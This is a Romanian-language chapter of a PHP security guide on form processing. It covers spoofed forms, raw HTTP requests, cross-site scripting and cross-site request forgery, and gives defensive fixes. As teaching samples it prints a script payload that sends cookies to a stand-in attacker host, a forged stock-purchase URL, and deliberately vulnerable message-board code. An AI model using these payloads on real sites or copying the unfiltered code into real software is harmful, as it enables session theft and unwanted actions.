Ghidul Securitatii PHP: Procesarea formurilor
< InapoiInainte >Baze de date si SQLPrivire generala
Trimiteri inselatoare
Pentru a intelege necesitatea filtrarii datelor, sa consideram urmatorul exemplu aflat (ipotetic vorbind) la http://example.org/form.html:
<form action="/process.php" method="POST">
<select name="color">
<option value="rosu">rosu</option>
<option value="verde">verde</option>
<option value="albastru">albastru</option>
</select>
<input type="submit" />
</form>
Un atacator poate sa salveze acest HTML si apoi poate sa-l modifice dupa cum urmeaza:
<form action="http://example.org/process.php" method="POST"> <input type="text" name="color" /> <input type="submit" /> </form>
Acest nou form se poate afla oriunde (nici macar un web server nu este necesar, este nevoie doar ca fisierul sa fie citit de browser), si poate fi manipulat oricum. URI-ul absolut si atributul action trimit request-ul POST in acelasi loc, indiferent unde se afla fisierul cu form-ul.
Astfel, este foarte usor pentru atacator sa elimine restrictiile client-side, fie ele HTML sau scripturi client-side care incearca sa filtreze datele. In exemplul de mai sus, $_POST['color'] nu mai este limitat la rosu, verde, sau albastru. Orice utilizator poate foarte simplu sa creeze un form care poate fi folosit pentru a trimite orice date la URI-ul care proceseaza form-ul.
HTTP Request-uri inselatoare
O metoda mai puternica, dar mai putin comoda pentru atacator este sa foloseasca request-urile HTTP. In exemplul discutat, cand utilizatorul alege o culoare request-ul HTTP arata in felul urmator (presupunem ca utilizatorul a ales rosu):
POST /process.php HTTP/1.1 Host: example.org Content-Type: application/x-www-form-urlencoded Content-Length: 9 color=rosu
Utilitatea telnet poate fi folosita pentru un test ad hoc. Urmatorul exemplu face un request GET la http://www.php.net/:
$ telnet www.php.net 80 Trying 64.246.30.37... Connected to rs1.php.net. Escape character is '^]'. GET / HTTP/1.1 Host: www.php.net HTTP/1.1 200 OK Date: Wed, 21 May 2004 12:34:56 GMT Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev X-Powered-By: PHP/4.3.3-dev Last-Modified: Wed, 21 May 2004 12:34:56 GMT Content-language: en Set-Cookie: COUNTRY=USA%2C12.34.56.78;expires=Wed,28-May-04 12:34:56 GMT; path=/;domain=.php.net Connection: close Transfer-Encoding: chunked Content-Type: text/html;charset=ISO-8859-1 2083 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN"> ...
Desigur, iti poti scrie clientul tau in loc sa introduci request-urile manual in telnet. Urmatorul exemplu arata acelasi request facut cu PHP:
<?php
$http_response = '';
$fp = fsockopen('www.php.net', 80);
fputs($fp, "GET / HTTP/1.1\r\n");
fputs($fp, "Host: www.php.net\r\n\r\n");
while (!feof($fp))
{
$http_response .= fgets($fp, 128);
}
fclose($fp);
echo nl2br(htmlentities($http_response));
?>
Trimitand request-urile tale ai libertate deplina, ceea ce demonstreaza faptul ca filtrarea server-side este esentiala. Fara aceasta, nu stii sigur ca datele nu vin dintr-o sursa externa.
Cross-Site Scripting
Cross-site scripting (XSS) este un termen familiar, si atentia este meritata. Este una dintre cele mai comune vulnerabilitati in aplicatii web, si multe aplicatii PHP open source au vulnerabilitati XSS.
Atacurile XSS au urmatoarele caracteristici:
-
Exploateaza increderea pe care utilizatorul o are intr-un anumit site.
Utilizatorii nu au neaparat incredere in vreun site, dar browserul are. Spre exemplu, cand trimite cookies intr-un request, are incredere in web site. Utilizatorii navigheaza in mod diferit sau chiar cu diferite nivele de securitate, in functie de site-ul pe care il viziteaza.
-
Ataca in general site-uri care folosesc date externe.
Aplicatii cu risc ridicat sunt forumuri, programe web mail, sau orice care foloseste syndicated content (ca feed-uri RSS).
-
Injecteaza continutul pe care il doreste atacatorul.
Cand data externa nu este filtrata cum trebuie, este posibil sa produci (si sa pui pe pagina) continutul pe care il doreste atacatorul. Aceasta este la fel de periculos cu a lasa atacatorul sa editeze sursa (codul) paginilor.
Cum se poate intampla acest lucru? Daca pui pe pagina continut care vine dintr-o sursa externa fara sa-l filtrezi, esti vulnerabil la XSS. Continut extern nu inseamna doar date care vin de la client. Inseamna si email care apare intr-un client de web mail, un banner, un syndicated blog, si altele. Orice informatie care nu este deja in cod vine dintr-o sursa externa (aceasta insemna ca majoritatea continutului este de obicei extern).
Sa consideram mesajul urmator dintr-un message board simplistic:
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
{
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}<br />");
fclose($fp);
}
readfile('./messages.txt');
?>
Acest board adauga <br /> la orice introduce utilizatorul, adauga aceasta la un fisier si apoi pune pe pagina continutul fisierului.
Sa ne imaginam ca un utilizator introduce mesajul urmator:
<script> document.location='http://evil.example.org/steal_cookies.php?cookies='+document.cookie </script>
Urmatorul vizitator care viziteaza message board-ul cu JavaScript enabled va fi redirectionat la evil.example.org, si orice cookies asociate cu site-ul sunt include in query string-ul URI-ului.
Desigur, un atacator real nu va fi limitat la lipsa mea de creativitate si cunoastere de JavaScript. Poti sa vii cu exemple mai bune (mai rele?).
Ce poti face? Este foarte usor sa-ti protejezi aplicatia impotriva XSS. Mai dificil este cand vrei sa permiti HTML sau scripturi client-side din surse externe (spre exemplu de la utilizatori) si sa le pui pe pagina, dar nici aceste situatii nu sunt extraordinar de dificile. Urmatoarele pot inlatura riscul pe care il prezinta XSS:
-
Filtreaza toate datele externe.
Cum am mai spus, filtrarea datelor este cel mai important lucru pe care trebuie sa-l faci. Validand datele externe care intra si ies din aplicatie, ai rezolvat majoritatea problemelor cu privire la XSS.
-
Foloseste functii existente.
Lasa PHP sa te ajute in filtrare. Functii ca htmlentities(), strip_tags(), si utf8_decode() pot fi folositoare. Nu recrea ceva ce PHP face deja. Nu numai ca functia PHP este mai rapida, dar este si mult mai bine testata si este putin probabil sa contina erori care creaza vulnerabilitati.
-
Foloseste o "lista alba".
Presupune ca toate datele sunt invalide pana cand au fost dovedite valide. Aceasta implica verificarea lungimii si verificarea validitatii caracterelor. Spre exemplu, daca utilizatorul trimite numele de familie, ai putea sa incepi prin a accepta doar caractere alfabetice si spatii. Fii ultra-precaut. Desi numele O'Reilly si Berners-Lee vor fi considerate invalide, aceasta se rezolva usor adaugand doua caractere la lista alba. Mai bine sa respingi date valide decat sa accepti date care pot ataca aplicatia.
-
Foloseste o conventie stricta a numelor.
Cum am mai spus, o conventie in numire ajuta developerii sa distinga datele filtrate de cele nefiltrate. Este important ca aceasta distinctie sa fie cat mai clara. Lipsa claritatii duce la confuzie, care duce la vulnerabilitati.
O versiune mult mai sigura a message board-ului mentionat anterior este urmatoarea:
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
{
$message = htmlentities($_GET['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
readfile('./messages.txt');
?>
Cu adaugarea htmlentities(), message board-ul este mult mai sigur. Nu trebuie considerat complet sigur, dar acesta este cel mai simplu lucru pe care-l poti face pentru a avea un nivel de protectie adecvat. Desigur, este recomandat sa urmezi toate sfaturile pe care le-am discutat.
Falsificari Cross-Site Request
In pofida similaritatii numelui cu XSS, falsificarea request-ului cross-site (CSRF - cross-site request forgeries) reprezinta un stil de atac total opus. Pe cand atacurile XSS exploateaza increderea pe care un utilizator o are intr-un site, atacurile CSRF attacks exploateaza increderea pe care un site o are intr-un utilizator. Atacurile CSRF sunt mai periculoase, mai putin populare (ceea ce inseamna mai putine informatii si resurse pentru developeri), si este mai greu sa te protejezi impotriva lor.
Atacurile CSRF au urmatoarele caracteristici:
-
Exploateaza increderea pe care un site o are intr-un anumit utilizator.
Poate nu ai incredere in majoritatea utilizatorilor, dar de obicei aplicatiile ofera unor utilizatori anumite privilegii (dupa log in). Acesti utilizatori 'privilegiati' sunt victime potentiale (complici fara sa vrea).
-
In general este vorba de site-uri care se bazeaza pe identitatea utilizatorilor.
In mod normal, de identitatea utilizatorului depind multe. Chiar si cu un sistem de session management sigur, care el insusi reprezinta un lucru nu foarte usor, atacurile CSRF pot reusi. De fapt, in acest mediu atacurile CSRF au cea mai mare putere.
-
Realizeaza request-urile HTTP pe care le doreste atacatorul.
Atacurile CSRF includ toate atacurile in care atacatorul falsifica requestul HTTP al unui utilizator (pacalind un utilizator pentru a trimite request-ul pe care il doreste atacatorul). Exista cateva metode care pot fi folosite pentru a realiza acest lucru, si voi da cateva exemple folosind una din metode.
Deoarece atacurile CSRF presupun falsificarea request-urilor HTTP, este important sa fii familiar, cel putin la un nivel de baza, cu HTTP.
Un web browser este un client HTTP, si un web server este un server HTTP. Clientul initiaza o tranzactie trimitand un request, iar serverul completeaza tranzactia trimitand un raspuns. Un request HTTP tipic este urmatorul:
GET / HTTP/1.1 Host: example.org User-Agent: Mozilla/5.0 Gecko Accept: text/xml, image/png, image/jpeg, image/gif, */*
Prima linie se numeste linia request si contine metoda pentru request, URI-ul cerut (un URI relativ este folosit) si versiunea HTTP. Celelalte linii sunt header-urile HTTP, si numele fiecarui header este urmat de doua puncte, un spatiu si valoarea.
Probabil cunosti modalitatile de accesare a acestor informatii in PHP. Spre exemplu, urmatorul cod poate fi folosit pentru a reconstrui acest request intr-un string:
<?php
$request = '';
$request .= "{$_SERVER['REQUEST_METHOD']} ";
$request .= "{$_SERVER['REQUEST_URI']} ";
$request .= "{$_SERVER['SERVER_PROTOCOL']}\r\n";
$request .= "Host: {$_SERVER['HTTP_HOST']}\r\n";
$request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";
$request .= "Accept: {$_SERVER['HTTP_ACCEPT']}\r\n\r\n";
?>
Un exemplu de raspuns la request-ul precedent este urmatorul:
HTTP/1.1 200 OK Content-Type: text/html Content-Length: 57 <html> <img src="http://example.org/image.png" /> </html>
Continutul unui raspuns este ceea ce vezi cand dai view source intr-un browser. Tagul img in acest raspuns informeaza browser-ul ca un alt raspuns (o imagine) este necesar pentru a crea pagina. Browserul cere aceasta resursa ca pe oricare alta, si ce urmeaza este un exemplu de un astfel de request:
GET /image.png HTTP/1.1 Host: example.org User-Agent: Mozilla/5.0 Gecko Accept: text/xml, image/png, image/jpeg, image/gif, */*
Aceasta merita atentie. Browserul cere URI-ul specificat in atributul src al tagului img exact cum ar fi facut daca utilizatorul ar fi navigat acolo manual. Browserul nu indica faptul ca asteapta o imagine in nici un fel.
Combina aceasta cu ce am invatat pana acum despre form-uri si considera un URI similar cu urmatorul:
http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000
O trimitere form care foloseste metoda GET este (potential) indesctintibila de o cerere a unei imagini - amandoua pot fi request-uri la acelasi URI. Daca register_globals este enabled, metoda form-ului nu este importanta (in cazul in care developerul nu foloseste oricum $_POST si restul). Sper ca pericolele sunt deja mai clare.
O alta caracteristica care face CSRF atat de puternic este ca orice cookies de la URI sunt incluse in cererea de URI. Un utilizator care a stabilit o relatie cu stocks.example.org (spre exemplu este logged in) poate cumpara 1000 de actiuni la SCOX vizitand o pagina cu un tag img care specifica URI din exemplul de mai sus.
Sa consideram urmatorul form aflat (ipotetic) la http://stocks.example.org/form.html:
<p>Cumpara actiuni acum!</p> <form action="/buy.php"> <p>Simbol: <input type="text" name="simbol" /></p> <p>Cantitate:<input type="text" name="cantitate" /></p> <input type="submit" /> </form>
Daca utilizatorul introduce SCOX la simbol, si 1000 la cantitate si trimite formul, requestul trimis de browser arata in felul urmator:
GET /buy.php?simbol=SCOX&cantitate=1000 HTTP/1.1 Host: stocks.example.org User-Agent: Mozilla/5.0 Gecko Accept: text/xml, image/png, image/jpeg, image/gif, */* Cookie: PHPSESSID=1234
Am inclus un Cookie header in exemplu pentru a ilustra ca aplicatia foloseste un cookie ca session identifier. Daca un img tag contine la src acelasi URI, acelasi cookie va fi trimis in request-ul pentru URI, si serverul care proceseaza request-ul nu va putea face distinctie intre aceasta si o comanda autentica.
Sunt cateva lucruri pe care poti sa le faci pentru a-ti proteja aplicatia impotriva CSRF:
-
Foloseste POST in loc de GET in formuri. Specifica POST in atributul method al formului. Desigur, aceasta nu este potrivit pentru toate form-urile, dar este potrivit pentru form-uri care executa ceva, cum ar fi cupararea de actiuni. De fapt, specificatia HTTP cere ca GET sa fie considerat sigur.
-
Foloseste $_POST mai degraba decat sa te bazezi pe register_globals. Folosind metoda POST pentru trimiterile de formuri nu are nici un efect daca te bazezi pe register_globals si folosesti variabile $simbol si $cantitate. De asemenea este inutil sa folosesti metoda POST daca apoi folosesti $_REQUEST.
-
Nu pune prea mult accent pe comoditate.
Desi este de dorit sa faci accesul unui utilizator cat mai usor posibil, prea multa comoditate poate avea consecinte serioase. Desi o abordare de tip "one-click" poate fi facuta foarte sigura, este probabil ca o implemetare simpla sa fie vulnerabila la CSRF.
-
Asigura-te ca doar formurile tale pot fi folosite.
Cea mai mare problema cu CSRF o reprezinta request-urile care par a fi form submissions dar nu sunt. Daca un utilizator nu a facut request-ul cu form-ul tau, ar mai trebui sa presupui ca submiterea este legitima si intentionata?
Acum putem scrie un message board si mai sigur:
<?php
$dovada = md5(time());
$fp = fopen('./dovezi.txt', 'a');
fwrite($fp, "$dovada\n");
fclose($fp);
?>
<form method="POST">
<input type="hidden" name="dovada" value="<?php echo $dovada; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
$dovezi = file('./dovezi.txt');
if (in_array($_POST['dovada'], $dovezi))
{
if (isset($_POST['message']))
{
$message = htmlentities($_POST['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
}
readfile('./messages.txt');
?>
Acest message board inca are cateva vulnerabilitati. Poti sa le gasesti?
Timpul este usor de prezis. MD5-ul timpului nu prea este un numar la nimereala. Functii mai bune sunt uniqid() si rand().
Mai important, atacatorul poate obtine usor o $dovada valida vizitand pagina, pentru ca aceasta este generata si inclusa in sursa. Cu o dovada valida, atacul este la fel de usor ca si pana acum.
Iata o imbunatatire:
<?php
session_start();
if (isset($_POST['message']))
{
if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])
{
$message = htmlentities($_POST['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
}
$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;
?>
<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
readfile('./messages.txt');
?>
< InapoiInainte >Baze de date si SQLPrivire generala